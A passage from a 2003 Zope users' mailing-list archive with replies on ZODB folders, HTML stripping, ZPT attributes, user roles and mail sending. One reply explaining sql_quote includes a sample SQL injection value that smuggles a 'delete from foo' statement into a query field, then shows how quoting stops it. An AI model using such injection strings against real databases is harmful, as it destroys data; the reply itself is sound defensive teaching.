duplicated more than once ; if I try to delete one of > > them, the other duplicated keys are kept and can't be deleted, because > > the object doesn't exist !!! > > - if I try to cut a duplicated object and paste it into another folder, > > I receive an error message, saying that I'm trying to paste an object > > from a foreign database connection !!! > > > > So here are my questions : > > - is it a bug in BTreeFolder2 ?? Can I avoid this ? > > - are duplicated keys pointing to the same object or no ? > > - is it possible to repair this, without losing currently stored objects > > ?? > > Do you have a unittest to reproduce this? What Zope version are you > running? This might be a problem with BTrees. I'm afraid no !! I can't get this to be easilly reproductible, but I just noticed that it actually happens sometimes... The only thing I can say to help is to give you the part of my Python script which handles profiles creation ; his goal is just to automatically create a profile for a newly connected user (anonymous access is forbidden, I use ZSession to handle sessions ; "Intraforet" is the name of my product which handle all my custom classes, "users" is the instance of my custom BTreeFolder2 class) : ----- from AccessControl import getSecurityManager acl_user = getSecurityManager().getUser() username = acl_user.getUserName().lower() profile = None if not session.has_key ('IF_USERNAME'): profile = getattr (context.users, username, None) if profile is None: context.users.manage_addProduct['Intraforet'].manage_addIFUser (username, 'if_sql_connexion', 'if_ldap_connexion') profile = getattr (context.users, username) session.set ('IF_USERNAME', username) ----- This seems quite simple to me... Perhaps another solution could be to do : ... profile = IF_User (username, 'if_sql_connexion', 'if_ldap_connexion') context.users._setObject (profile.id, profile) ... but I don't think that this would change anything... No ?? Thierry From chrisw at nipltd.com Thu Aug 7 11:52:42 2003 From: chrisw at nipltd.com (Chris Withers) Date: Thu Aug 7 05:50:41 2003 Subject: SV: [Zope] Strip all HTML References: Message-ID: <3F32216A.2010401@nipltd.com> Carsten Gehling wrote: > Your own example shows that stripogram does NOT remove the content between > and . Ah, the key there is content ;-) Hmmm... have to have a think about that one... Are there any other tags where the content should be removed? cheers, Chris From jccooper at jcameroncooper.com Wed Aug 6 16:23:32 2003 From: jccooper at jcameroncooper.com (J Cameron Cooper) Date: Thu Aug 7 05:55:38 2003 Subject: [Zope] =?windows-1252?Q?probl=E8me_sur_le_t=E9l=E9char?= =?windows-1252?Q?gement?= In-Reply-To: References: Message-ID: <3F3163C4.2000203@jcameroncooper.com> > > > J?ai des probl?mes pour t?l?charger la derni?re version de zope. > > ? Corrupt installation detected ? > > comment puis-je faire pour t?l?charger ? > Je parle seulement francais. Pardon moi: je ne l'ai pas employe en annees. Corrigez-moi si vous vous inqui?tez. Telechargement (je le comprend 'download' en anglais) encore de http://www.zope.org/Products et essayez l'installation encore. Si cela ne fonctionne pas, ?crivez-nous plus de d?tails. Est l'erreur sur le console? En Linux? Windows? C'est une liste anglais en general. Regardez s'il vous plait http://www.zopera.org/ --jcc -- "My point and period will be throughly wrought, Or well or ill, as this day's battle's fought." From jccooper at jcameroncooper.com Wed Aug 6 15:56:59 2003 From: jccooper at jcameroncooper.com (J Cameron Cooper) Date: Thu Aug 7 05:55:44 2003 Subject: [Zope] Problem with PABlog In-Reply-To: References: Message-ID: <3F315D8B.9050908@jcameroncooper.com> > > >An error was encountered while publishing this resource. > >KeyError >Sorry, a site error occurred. > >... >URL: blogindex_html >Line 27, Column 1 >Expression: standard:'here/zpt_stylesheet.css/absolute_url' >... >KeyError: zpt_stylesheet.css (Also, an error occurred while attempting to >render the standard error message.) > > It couldn't find anything named 'zpt_stylesheet.css'. This should come from CMFDefault's skins/zpt_generic/zpt_stylesheet.css. However, newer versions of Plone seem to not have this: the CMFDefault skins have been removed. I don't know anything about PABlog (I'm assuming it's CMF-based, for instance), so I can't guarantee I'm not shooting in the dark, but it seems to me you have the following remedies: 1. create a custom skin with a file called zpt_stylesheet.css This is as easy as making a File in portal_skins/custom with such a name. Various display elements may break. 2. edit blogindex_html to remove the call to 'here/zpt_stylesheet.css/absolute_url' on line 27 (or thereabouts.) This may or may not break things. This is done by finding it in the product's skin folder and cutomizing and then editing the offending page. 3. appeal to the author to fix the product such that it doesn't depend on CMFDefault. It probably need not depend on that stylesheet. 4. install it under a 'CMF Site' rather than a 'Plone Site'. --jcc -- "My point and period will be throughly wrought, Or well or ill, as this day's battle's fought." From robichon at esrf.fr Thu Aug 7 13:15:54 2003 From: robichon at esrf.fr (Marie Robichon) Date: Thu Aug 7 06:16:50 2003 Subject: [Zope] Add file to localFS - part II Message-ID: <5.1.0.14.1.20030807121354.032ab028@mailserv.esrf.fr> Follow-up to my last message (below) I have also tried : staffpdfs=getattr(context, 'pdfs') in this case the pdf is uploaded to the container folder Anyone have any ideas ????? __________________________________________________________ I am trying to add a file to a localFS, but am having difficulties in referencing the localFS correctly : The script I am running is on the same level (ie in the same container) as my localFS called pdfs. have tried staffpdfs=context.pdfs ... staffpdfs.manage_addFile(CVFileName, CVFile, title) in this case the pdf is uploaded to the container folder and staffpdfs=container.pdfs ... staffpdfs.manage_addFile(CVFileName, CVFile, title) in this case the pdf is uploaded to the container folder and staffpdfs=container['pdfs'] ... staffpdfs.manage_addFile(CVFileName, CVFile, title) in this case the pdf is uploaded to the container folder and pdfs.manage_addFile(CVFileName, CVFile, title) which gives an error : NameError Error Value: global name 'pdfs' is not defined Must be doing something really silly, but am stumped. Can someone help me? TIA Marie From ken at practical.org Thu Aug 7 15:22:26 2003 From: ken at practical.org (ken@practical.org) Date: Thu Aug 7 08:22:30 2003 Subject: [Zope] Strip all HTML Message-ID: <200308071222.h77CMPP90589@zope.config.com> Chris Withers wrote: >Are there any other tags where the content should be removed? AFAICT, the HTML elements which need to be removed together with their content are: style, script, noscript and noframes. At least those are the most common non-proprietary ones. My strategy was to transform the opening tag into '', and then get rid of '', but there must be a more clever way. I would love to have a fix for Dieter's CatalogSupport.py, since that module was intended for my first use case: to prevent indexing of irrelevant markup; it is already used by the DocumentLibrary product. My other use case, the display of a text-only version of a web page, also requires removal of all markup and markup-related content. Is there a reason for any of the HTML conversion modules *not* to incorporate this addition? I am just surprised that no one has reported it as a problem. Thanks to those who are contributing to this thread! Ken From lists at elvix.com Thu Aug 7 15:38:39 2003 From: lists at elvix.com (=?ISO-8859-15?B?R2VpciBC5mtob2x0?=) Date: Thu Aug 7 08:35:44 2003 Subject: [Zope] Strip all HTML In-Reply-To: <200308071222.h77CMPP90589@zope.config.com> References: <200308071222.h77CMPP90589@zope.config.com> Message-ID: <1565039073.20030807143839@elvix.com> On Thu, 7 Aug 2003 14:22:26 +0200 (CEST) GMT (..14:22 where i live(GMT+2) ) ken@practical.org asked the Zope mailinglist about the following: > Chris Withers wrote: >>Are there any other tags where the content should be removed? > AFAICT, the HTML elements which need to be removed together with > their content are: style, script, noscript and noframes. At least > those are the most common non-proprietary ones. Wouldn't removing the contents of noscript and noframes be off-target? They exist solely for the purpose of providing alternative content to what would be rendered by a script or in a frame. It appears to me to be practical to keep this alternative content, both in a text-only version, and in the indexes in a catalog (unless you use them in the non-recommended, html3.2 way (e.g : "you need frames to see this content"), that is...) :) -- Geir B?kholt From yaser at lambenttek.com Thu Aug 7 19:30:34 2003 From: yaser at lambenttek.com (Yaser Ansari) Date: Thu Aug 7 08:51:48 2003 Subject: [Zope] Exporting Data to different Format Message-ID: <0689B24DAAEC064A8307378E5DA79562044AF2@exchserver.lambenttek.com> Hello, Can anyone tell me whether its possible to export or convert the Objects stored in ZODB to another custom format like XML, NEWSML etc. I couldn't find information on this anywhere on the site. It would be great if anyone could help. Thanks and Regards, Yaser Ansari Lambent Technologies Pvt Ltd. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.zope.org/pipermail/zope/attachments/20030807/810fc81b/attachment.htm From ken at practical.org Thu Aug 7 15:52:27 2003 From: ken at practical.org (ken@practical.org) Date: Thu Aug 7 08:52:30 2003 Subject: [Zope] Strip all HTML Message-ID: <200308071252.h77CqRP90732@zope.config.com> Geir Bækholt wrote: >Wouldn't removing the contents of noscript and noframes be off-target? >They exist solely for the purpose of providing alternative content to what would be rendered by a script or in a frame. > >It appears to me to be practical to keep this alternative content, both in a text-only version, and in the indexes in a catalog (unless you use them in the non-recommended, html3.2 way (e.g : "you need frames to see this content"), that is...) > >:) I agree, reluctantly... In my case, I am capturing/indexing from a finite set of web sites where these tags are never used correctly. Maybe it could be a configurable option for Strip-o-gram... Ken From stefan at epy.co.at Thu Aug 7 16:08:49 2003 From: stefan at epy.co.at (Stefan H. Holek) Date: Thu Aug 7 09:11:43 2003 Subject: [Zope] Should everyone always have 'Anonymous' role? In-Reply-To: <3F311B10.40407@upfrontsystems.co.za> References: <3F2FAF8B.4050402@upfrontsystems.co.za> <3F30E7E9.2080709@nipltd.com> <3F311B10.40407@upfrontsystems.co.za> Message-ID: <1045799969.1060268929@[172.16.8.4]> I still think he is wrong ;-) [Hi Jens!] Some excerpts from AccessControl/User.py: nobody=SpecialUser('Anonymous User','',('Anonymous',), []) class BasicUser(Implicit): def allowed(self, object, object_roles=None): """Check whether the user has access to object. The user must have one of the roles in object_roles to allow access.""" if object_roles is _what_not_even_god_should_do: return 0 # Short-circuit the common case of anonymous access. if object_roles is None or 'Anonymous' in object_roles: return 1 ... class SimpleUser(BasicUser): def getRoles(self): """Return the list of roles assigned to a user.""" if self.name == 'Anonymous User': return tuple(self.roles) else: return tuple(self.roles) + ('Authenticated',) AFAICS only nobody has role 'Anonymous', ever. And - looking at allowed - there does not seem to be any benefit in having the 'Anonymous' role, because the check for anonymous access is short-circuited and never reaches proper role comparison anyway... I've been writing some user folders lately, and what Jens observed never occured to me. I agree that the 'Anonymous' role must always be defined in the *system* or all kinds of breakage will occur (you should be able to see it in the 'Security' tab). I do however not see why it should be necessary to give 'Anonymous' to *users* other than nobody. I do also not see where this would be done in case it was. So, Jens, please show us the code ;-) Stefan --On Mittwoch, 06. August 2003 17:13 +0200 Jean Jordaan wrote: >> I suspect that's a bug in LDAPUserFolder, I'd let the author know ;-) > > So did I, and I did, but Jens is positive it's needed. From > our mails: > > """ > Anonymous *must always be there* for Zope to work correctly. Taking it > out leads to a lot of breakage all over. [...] > That test is simply flawed. Test for "Authenticated" instead. There is > nowhere where this can be found in the docs I believe, I found it by > trial and error. > """ -- The time has come to start talking about whether the emperor is as well dressed as we are supposed to think he is. /Pete McBreen/ From paolo at php3.it Thu Aug 7 16:29:08 2003 From: paolo at php3.it (Paolo Dina) Date: Thu Aug 7 09:29:17 2003 Subject: [Zope] AbracadabraObject - help about security settings Message-ID: <3F325424.7030002@php3.it> Hi all. I'm using AbracadabraObject to accomplish some tasks _easily_in my new site. But i have a small problem with security settings. In fact they are not maintained in the new object. I will try to explain better.. In standard_object_folder lives a folder called 'admin' with View permission mapped to role of Manager. Instantiating a new AbracadabraObject - context.manage_addProduct['AbracadabraObject'].manage_addAbracadabraObject( 'id', 'object_id', 'title') - yes, it makes the new object, but the folder 'admin' into it has lost settings on permission. What's wrong? Thanks Paolo Dina P.S. Btw, layout of AbracadabraObject homepage (http://zope.org/Members/mjablonski/AbracadabraObject) seems to be broken.. From Jean-Francois.Doyon at CCRS.NRCan.gc.ca Thu Aug 7 12:05:58 2003 From: Jean-Francois.Doyon at CCRS.NRCan.gc.ca (Jean-Francois.Doyon@CCRS.NRCan.gc.ca) Date: Thu Aug 7 11:06:08 2003 Subject: [Zope] ZPT equivalent to the global HTML() ? Message-ID: <7CDD7B94357FD5119E800002A537C46E230923@s5-ccr-r1.ccrs.nrcan.gc.ca> Hello, This works great! Now I have a funny bit of a problem though, not a big deal , but a nice to have. I have a template like this:

(CookedBody is extended to render ZPT, as suggested). The problem now is that the ZPT/TAL/TALES is evaluated in it's own world, seperatly from the main_template, which tal:define's variables I'd like to use inside CookedBody/EditableBody code (i.e. main_template has , but that variable isn't accessible when CookedBody is rendrered) Is this possible? Another way to put it: Would it be possible to get the tal:replace to actually pt() render the content of the returned structure ? This way I could skip making the Document ZPT aware altogether (One less Monkey Patch), AND I'd have access to my variables (less repeated method calls) ... Any insight on how to accomplish something like this would be greatly appreciated! Thanks, J.F. -----Original Message----- From: Dieter Maurer [mailto:dieter@handshake.de] Sent: Wednesday, May 28, 2003 5:12 PM To: Jean-Francois.Doyon@CCRS.NRCan.gc.ca Cc: zope@zope.org Subject: Re: [Zope] ZPT equivalent to the global HTML() ? Jean-Francois.Doyon@CCRS.NRCan.gc.ca wrote at 2003-5-27 12:14 -0400: > Now, I'm thinking of switching to using ZPT's, but am having a harder time > figuring out exactly what function/method I should use ... there's > pt_render, but that's a method that expects an object of the proper class to > be passed (I think?) ... Which doesn't really work in my case ... I'd like > to be able to simply feed the "text" to a function, along with a context, > REQUEST object, or something like that, and get the results. Its a bit more complex with ZPT than with DTML because a PageTemplate uses context from acquisition while all context must be explicitly passed in to DTML. It looks somehow like: from Products.PageTemplates.ZopePageTemplate import ZopePageTemplate pt= ZopePageTemplate('',template_source,content_type).__of__(context) rendered= pt() # render it Dieter From jpenny at universal-fasteners.com Thu Aug 7 12:07:05 2003 From: jpenny at universal-fasteners.com (Jim Penny) Date: Thu Aug 7 11:07:13 2003 Subject: [Zope] sql_quote in dtml-var in zsql-Methods In-Reply-To: <000301c35cc5$cc884060$010aa8c0@PCA> References: <000301c35cc5$cc884060$010aa8c0@PCA> Message-ID: <20030807110705.495a6fcf.jpenny@universal-fasteners.com> On Thu, 7 Aug 2003 11:19:50 +0200 "Elena Schulz" wrote: > Hi, > > does anybody know the difference of and > ? > Does sql_quote have any effects, cause I couldn't see any? Yes, sqlqoute has effects. Primarily, it will quote single quote (') characters correctly. Suppose table foo has column color, and you have a ZSQL method like: select * from foo where color=''. Suppose myVar is set to: white';delete from foo;select * from foo where color='white Then, execution of this form deletes everything from the table, and generates no error. But: select * from foo where color='' will generate: select * from foo where color='white'';delete from foo;select * from foo where color=''white' and, due to correct quote handling, nothing will be deleted, and, most likely, nothing will be selected. Please, please, always either use sql_quote or in your ZSQL methods, even if you are sure the input is safe. It costs very little, and keeps you from worry about how people may use the method in the future. Jim Penny > > -- Elena > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > > From marcus.bergmann at isst.fhg.de Thu Aug 7 18:42:41 2003 From: marcus.bergmann at isst.fhg.de (Marcus Bergmann) Date: Thu Aug 7 11:43:18 2003 Subject: [Zope] (solved) cannot add ZClass instances References: <3F1D6CC5.6010104@isst.fhg.de> <16158.54073.347219.159440@gargle.gargle.HOWL> <3F313A9C.4060203@isst.fhg.de> Message-ID: <3F327371.7050705@isst.fhg.de> Marcus Bergmann wrote: > Dieter Maurer wrote: > >> Marcus Bergmann wrote at 2003-7-22 18:56 +0200: >> > I run a new 2.6.1 version and imported the user directories and the >> STX > Document product from an old 2.5.0 version (via export/import >> not > copying the data.fs). >> > The existing STX and RSTX Documents are ok. I can view and edit >> them. > But I can't add new STX or RSTX Documents. >> > Has anyone an idea what I'm doing wrong? >> > > This is the traceback: >> > > Traceback (innermost last): >> > Module ZPublisher.Publish, line 98, in publish >> > Module ZPublisher.mapply, line 88, in mapply >> > Module ZPublisher.Publish, line 39, in call_object >> > Module OFS.DTMLMethod, line 126, in __call__ >> > Module DocumentTemplate.DT_String, line 474, in __call__ >> > Module DocumentTemplate.DT_With, line 61, in render >> > Module DocumentTemplate.DT_Util, line 201, in eval >> > - __traceback_info__: REQUEST >> > Module , line 2, in f >> > NameError: global name 'STX_Document' is not defined >> >> With what URL is the request made that results in this traceback? > > > I use the pull-down-list of Zope to add these objects. > >> >> What is the DTMLMethod used in this request. >> >> >> It looks as if the products above were ZClasses. >> Export/Import breaks inheritance between ZClasses when >> base and derived class live in different products. > > > Yes, the product is a ZClass. I imported it into the 'Products' Folder > inside the 'Control_Panel'. > It seems I have the problem in general. I just imported the ZSiteMap > product which comes as a .zexp file, but I cannot add the new objects. I > get the same message: > > NameError: global name 'ZSiteMapNode' is not defined (Also, an error > occurred while attempting to render the standard error message.) > > After some restarts of the Zope server it worked temporarely. Do you > have an idea? The problem seems to be solved. It was depending on my browser. I use Netsacpe 7 and managed my Zope in different tabs. Zope told me I was logged in as a user with the manager role. I was able to see the management interface, but as I wanted to add ZClass instances of installed products it failed, because I had the anonymous role. Marcus From pw_lists at slinkp.com Thu Aug 7 12:54:37 2003 From: pw_lists at slinkp.com (Paul Winkler) Date: Thu Aug 7 11:54:51 2003 Subject: [Zope] Using ZPT with options/radio/checkboxes In-Reply-To: <003a01c35ca9$13ad2a90$0a00a8c0@logicetc.com> References: <003501c35ca6$a67444b0$0a00a8c0@logicetc.com> <003a01c35ca9$13ad2a90$0a00a8c0@logicetc.com> Message-ID: <20030807155437.GA2241@slinkp.com> On Thu, Aug 07, 2003 at 01:59:34AM -0400, Ron Bickers wrote: > > > If you have a :list of checkboxes, you could use the following: > > tal:attributes="checked python:'Pepperoni' in path('request/toppings | > python:[]') /> Pepperoni (snip) well, this is fascinating and very surprising to me. I didn't see how your examples could work, until I tried them. As I've always (mis)understood TAL, I thought that the following bit of ZPT... ... should evaluate to the following HTML... ... and in both cases, Mozilla displays the checkbox as checked. But in fact, this is not what happens!! The rendered HTML is: Apparently, there is some special-casing in ZPT such that "checked" and "selected" attributes are handled differently from all others. The return value of the expression is tested for truth and then discarded. I must say that while this is convenient, it has 3 problems: 1) It's surprising - other attributes don't behave this way. 2) It's undocumented AFAICT. 3) It's specific to XHTML and likely to be problematic when using ZPT to generate other flavors of XML. I notice that this special behavior is applied regardless of what tag you put these attributes in. I wonder if it would be better to have an explicit way that can be used for any attribute, to conditionally insert or omit it. There is of course the common idiom of writing the entire tag twice with two opposing "tal:condition"s, but that often leads to redundant html as well as redundant tag contents. So it might be nice to be able to say "If this expression is true, set the value of this attribute to the result; otherwise, omit the attribute." Like so: Or, an alternative, there could be a way to say "remove the attribute if this expression is true": ... or maybe spell it like this, to say "keep the attribute if this expression is true": I think I like that last variant the best, it seems easier to understand than the first and usually more natural than the second. It also combines nicely with existing tal:attributes useage:

(As an optimization, tal:attribute_filters could be evaluated first, and tal:attributes would not evaluate attributes that are to be filtered out.) P.S. okay Shane, fire away ;-) -- Paul Winkler http://www.slinkp.com Look! Up in the sky! It's POST-MEGATRON-IAN! (random hero from isometric.spaceninja.com) From marcus.bergmann at isst.fhg.de Thu Aug 7 18:57:47 2003 From: marcus.bergmann at isst.fhg.de (Marcus Bergmann) Date: Thu Aug 7 11:58:23 2003 Subject: [Zope] tracker product with customizable report forms Message-ID: <3F3276FB.1070800@isst.fhg.de> Hello, in real life many users are not be able to give a report with all the information the handler needs to solve the problem. E.g. if there is a problem with the network connectivity, the handler needs other information from the reporter as there is a problem with installing software on a PC. I'm looking for a tracker product, where I can customize the report form depending on the problem. Any suggestions? Thanks, Marcus From alienoid at is.lg.ua Thu Aug 7 20:17:36 2003 From: alienoid at is.lg.ua (Ruslan Spivak) Date: Thu Aug 7 12:17:51 2003 Subject: [Zope] sending mail from python script, strangeness with symbol ':' in body Message-ID: <3F327BA0.4030506@is.lg.ua> Hello! When i try to send mail from python script and body of message contains symbol ':' then i get letter without subject and body. In MailHost source i found send_simple, when using it i have no problems, but with 'send' method i have abovemetioned problem. I tested with zope2.6.1 and 2.6.2 Your help is very appreciated. Best regards, Ruslan From chrisw at nipltd.com Thu Aug 7 18:26:35 2003 From: chrisw at nipltd.com (Chris Withers) Date: Thu Aug 7 12:24:29 2003 Subject: [Zope] Strip all HTML References: <200308071222.h77CMPP90589@zope.config.com> Message-ID: <3F327DBB.50909@nipltd.com> ken@practical.org wrote: > Chris Withers wrote: > >>Are there any other tags where the content should be removed? > > AFAICT, the HTML elements which need to be removed together with their content are: style, script, noscript and noframes. At least those are the most common non-proprietary ones. Hmmm, I'll have to look at adding something for this in the next release of Strip-O-Gram... cheers, Chris From chrisw at nipltd.com Thu Aug 7 18:29:07 2003 From: chrisw at nipltd.com (Chris Withers) Date: Thu Aug 7 12:27:04 2003 Subject: [Zope] Should everyone always have 'Anonymous' role? References: <3F2FAF8B.4050402@upfrontsystems.co.za> <3F30E7E9.2080709@nipltd.com> <3F311B10.40407@upfrontsystems.co.za> Message-ID: <3F327E53.5020007@nipltd.com> Jean Jordaan wrote: >> I suspect that's a bug in LDAPUserFolder, I'd let the author know ;-) > > > So did I, and I did, but Jens is positive it's needed. From > our mails: Well, I'm with Stephan on this one, perhaps you could persuade Jens to respond? ;-) Chris From chrisw at nipltd.com Thu Aug 7 18:33:03 2003 From: chrisw at nipltd.com (Chris Withers) Date: Thu Aug 7 12:30:56 2003 Subject: [Zope] ZPT's and CacheManagers References: <3F2F97BC.2030008@nipltd.com> <20030805115333.GA22389@audible.transient.net> <3F2FC5EB.1090101@nipltd.com> <20030805212950.GC22389@audible.transient.net> <3F30E8BF.9070809@nipltd.com> <20030806210649.GE22389@audible.transient.net> Message-ID: <3F327F3F.6000403@nipltd.com> [moving to ZPT list] > issues. Another alternative is to track down exactly why PageTemplate > hands cache managers those dictionaries, I'm not convinced the reasons > are rooted in sensibility, but I haven't researched it in depth. Anyone here know why ZPT's are doing their best to make RAM cache managers useless? ;-) *grinz* Chris From chrisw at nipltd.com Thu Aug 7 18:44:38 2003 From: chrisw at nipltd.com (Chris Withers) Date: Thu Aug 7 12:42:36 2003 Subject: [Zope] International character display from Oracle database References: <3F30E909.9040008@nipltd.com> <674447500.1060175524@ilrt-kamino.ilrt.bris.ac.uk> Message-ID: <3F3281F6.1060604@nipltd.com> Dominic Hiles wrote: > > The problem seems to be happening before the content is rendered on the > page, rather than being related to the page presentation Hmmm, how have you established this? Unicode errors seem to be fiendishly difficult to track down as python will, by default, try to encode to ASCII when you just print something to a console. Likewise, if you're doing a SELECT in the test tab of your DA, what encoding does the HTML page that contains have? If you're testing it using other means, think about any possible encoding or decoding going on during the testing process :-S *sigh* Why can't be just all have one character set ;-) Chris From chrisw at nipltd.com Thu Aug 7 18:47:08 2003 From: chrisw at nipltd.com (Chris Withers) Date: Thu Aug 7 12:45:06 2003 Subject: [Zope] spaces in postgres data field References: Message-ID: <3F32828C.1030402@nipltd.com> Ian Sealy wrote: > Anyway, the latter would produce (for example): > > > > So the value would indeed be 1234. Try putting some quotes round it. > That is: > > One good reason to use ZPT; you can't generate HTML that's broken in the way Ian's suggestion fixes. > You also need to quote any HTML in address1. Otherwise you'll have > problems with addresses that contains quotes and other HTML characters. > So: > > Another good reason to use ZPT, everything is HTML quoted by default, although you can optionally turn it off per statement usign the 'structure' keyword... Chris From chrisw at nipltd.com Thu Aug 7 18:47:56 2003 From: chrisw at nipltd.com (Chris Withers) Date: Thu Aug 7 12:45:51 2003 Subject: [Zope] From FTP to FTP copy support? References: <20030806123452.74417100A92C@webproxy.k-net.cz> Message-ID: <3F3282BC.3000302@nipltd.com> Jaroslav Lukesh wrote: > Hi all, > > it is possible to push zope FTP client to copy from one Zope FTP session to > another FTP session? Didn't know Zope had an FTP client... Can you try asking again, 'cos I couldn't quite parse what you're after... cheers, Chris From chrisw at nipltd.com Thu Aug 7 18:51:48 2003 From: chrisw at nipltd.com (Chris Withers) Date: Thu Aug 7 12:49:43 2003 Subject: [Zope] Extrange behavior with numeric datatypes and decimal places References: <3F2DD78B.5090903@yahoo.com.ar> <3F2E3C55.1070306@nipltd.com> <3F2E647F.6010804@yahoo.com.ar> <3F2F824B.3070009@nipltd.com> <3F311994.4050607@yahoo.com.ar> Message-ID: <3F3283A4.9040508@nipltd.com> Luis Mariano Luporini wrote: > Chris: > > That is the code I'm having problems with. I know, that's why I asked you to supply it so we can take a look and help you! > If I run that in psql, > I get the number of decimal places specified by the numeric casting but, > if I run it in a zsql I get just un decimal place regardless of what is > specified in the cast operation. The DA is probably turning the returned number into a python Float, the default representation of which has one decimal place. > As suggested by Neil Smith in the zope-db list I could use a > formating mask in dtml or zpt but I think that default behavior should > be to left the query as it is. Then you'd get a string ;-) Most people want numbers when they select numeric columns from relational databases... Chris From chrisw at nipltd.com Thu Aug 7 18:54:03 2003 From: chrisw at nipltd.com (Chris Withers) Date: Thu Aug 7 12:51:58 2003 Subject: [Zope] zope book error References: Message-ID: <3F32842B.9090309@nipltd.com> Lee Harr wrote: > > Most of the zope book is working, but on one page I get an error trying to > access the page: > > http://zope.org/Documentation/Books/ZopeBook/current/AdvZPT.stx > gives: Best to stick it in the collector rather than mailing here: http://collector.zope.org/ZopeOrg cheers, Chris From chrisw at nipltd.com Thu Aug 7 18:56:42 2003 From: chrisw at nipltd.com (Chris Withers) Date: Thu Aug 7 12:54:37 2003 Subject: [Zope] Berkeley database question References: <8D0E60044699BB499447ED91DA3F3E2F07732C@rp150.uwsa.edu> Message-ID: <3F3284CA.5080307@nipltd.com> John Toews wrote: > Does anyone use Berkeley DB with Python & Zope? I am wondering if it is > possible to maintain a persistent database connection? (for those that > don't know, BDB uses a file on the drive as the database, so normally > you open & close that file during runtime) There is BerkleyStorage for ZODB available. Have a google or ask on zodb-dev@zope.org... cheers, Chris From rbickers-expires-1060880100.d0e800 at logicetc.com Thu Aug 7 13:54:25 2003 From: rbickers-expires-1060880100.d0e800 at logicetc.com (Ron Bickers) Date: Thu Aug 7 12:55:07 2003 Subject: [Zope] Using ZPT with options/radio/checkboxes In-Reply-To: <20030807155437.GA2241@slinkp.com> Message-ID: <000501c35d04$8ee069b0$0a00a8c0@logicetc.com> > -----Original Message----- > From: zope-bounces@zope.org [mailto:zope-bounces@zope.org]On Behalf Of > Paul Winkler > > > tal:attributes="checked python:'Pepperoni' in path('request/toppings | > > python:[]') /> Pepperoni > (snip) > > well, this is fascinating and very surprising to me. > I didn't see how your examples could work, until I tried them. > Apparently, there is some special-casing in ZPT such that "checked" > and "selected" attributes are handled differently from all others. Indeed. I didn't realize this. Regardless of the attribute, if the expression evaluates to 'nothing', then it's discarded. One could accomplish the same as above by doing the following and there would be no need for special handling of checked/selected. Not quite as elegant, but it's not horrible and it behaves as expected, yes? _______________________ Ron Bickers Logic Etc, Inc. From chrisw at nipltd.com Thu Aug 7 19:00:05 2003 From: chrisw at nipltd.com (Chris Withers) Date: Thu Aug 7 12:58:00 2003 Subject: [Zope] Using ZPT with options/radio/checkboxes References: <003501c35ca6$a67444b0$0a00a8c0@logicetc.com> <003a01c35ca9$13ad2a90$0a00a8c0@logicetc.com> <20030807155437.GA2241@slinkp.com> Message-ID: <3F328595.6040008@nipltd.com> Paul Winkler wrote: > 1) It's surprising - other attributes don't behave this way. Not very. The attributes it applies to need this, and I think it only happens if the content type of the ZPT is text/html. Try doing a checkbox withotu this feature ;-) > 2) It's undocumented AFAICT. Hmm... try the Zope 2.6 Book, I know I've read this documentation in the language specs somewhere... > 3) It's specific to XHTML and likely to be problematic when using ZPT to > generate other flavors of XML. I notice that this special behavior > is applied regardless of what tag you put these attributes in. See note about content type above. > There is of course the common idiom of writing the entire tag twice with two > opposing "tal:condition"s, but that often leads to redundant html > as well as redundant tag contents. Erg! Ug! Yuk! People do this?! > tal:conditional_attributes="checked request/some_var | nothing" /> I suspect that will work as expected if you remove the conditional_ prefix... do let me know though! cheers, Chris From maik.jablonski at uni-bielefeld.de Thu Aug 7 19:59:12 2003 From: maik.jablonski at uni-bielefeld.de (Maik Jablonski) Date: Thu Aug 7 12:59:17 2003 Subject: [Zope] Re: AbracadabraObject - help about security settings In-Reply-To: <3F325424.7030002@php3.it> References: <3F325424.7030002@php3.it> Message-ID: <3F328560.2090201@uni-bielefeld.de> Paolo Dina wrote: > Hi all. > I'm using AbracadabraObject to accomplish some tasks _easily_in my new > site. > But i have a small problem with security settings. In fact they are not > maintained in the new object. > I will try to explain better.. > In standard_object_folder lives a folder called 'admin' with View > permission mapped to role of Manager. > > Instantiating a new AbracadabraObject - > context.manage_addProduct['AbracadabraObject'].manage_addAbracadabraObject( > 'id', 'object_id', 'title') - yes, it makes the new object, but the > folder 'admin' into it has lost settings on permission. > > What's wrong? Can you send me .zexp-Export of your problem and a detailed description howto reproduce this "bug"? I'll have a look at it and going to fix it as soon as possible. maik.jablonski@uni-bielefeld.de Cheers, Maik From maik.jablonski at uni-bielefeld.de Thu Aug 7 20:01:38 2003 From: maik.jablonski at uni-bielefeld.de (Maik Jablonski) Date: Thu Aug 7 13:10:58 2003 Subject: [Zope] Re: sending mail from python script, strangeness with symbol ':' in body In-Reply-To: <3F327BA0.4030506@is.lg.ua> References: <3F327BA0.4030506@is.lg.ua> Message-ID: Ruslan Spivak wrote: > Hello! > > When i try to send mail from python script and body of message contains > symbol ':' then i get letter without subject and body. > In MailHost source i found send_simple, when using it i have no > problems, but with 'send' method i have abovemetioned problem. MailHost.send() expects a full mail-header AND a text body. If you give only the body, it tries to extract the mailheader from the body, which breaks with a colon in the body. You should use send_simple instead. Cheers, Maik From lukesh at seznam.cz Thu Aug 7 18:35:30 2003 From: lukesh at seznam.cz (Jaroslav Lukesh) Date: Thu Aug 7 13:20:27 2003 Subject: [Zope] Exporting Data to different Format Message-ID: <3F2692A80019AFF1@stateless2.tiscali.cz> (added by postmaster@mail.tiscali.cz) Hi, it is easy. Check object that you want to export, press import/Export button, and check "Export as XML" and "save to server" because browsers try to display that XX MB long page. Regards JL. ---------- Odes?latel: Yaser Ansari Can anyone tell me whether its possible to export or convert the Objects stored in ZODB to another custom format like XML, NEWSML etc. From paolo at php3.it Thu Aug 7 20:44:23 2003 From: paolo at php3.it (Paolo Dina) Date: Thu Aug 7 13:47:56 2003 Subject: [Zope] Re: AbracadabraObject - help about security settings In-Reply-To: <3F328560.2090201@uni-bielefeld.de> References: <3F325424.7030002@php3.it> <3F328560.2090201@uni-bielefeld.de> Message-ID: <3F328FF7.2070800@php3.it> > Can you send me .zexp-Export of your problem and a detailed description > howto reproduce this "bug"? Hi Maik, that was my fault.. i tried to reproduce the "bug" in a simpler scenario but with no succes, so i guess i did some mistake unrelated to AbracadabraObject. All works fine now. > Cheers, Maik > Sorry for the inconvenience and for false alarm. Paolo Dina From hpinson at 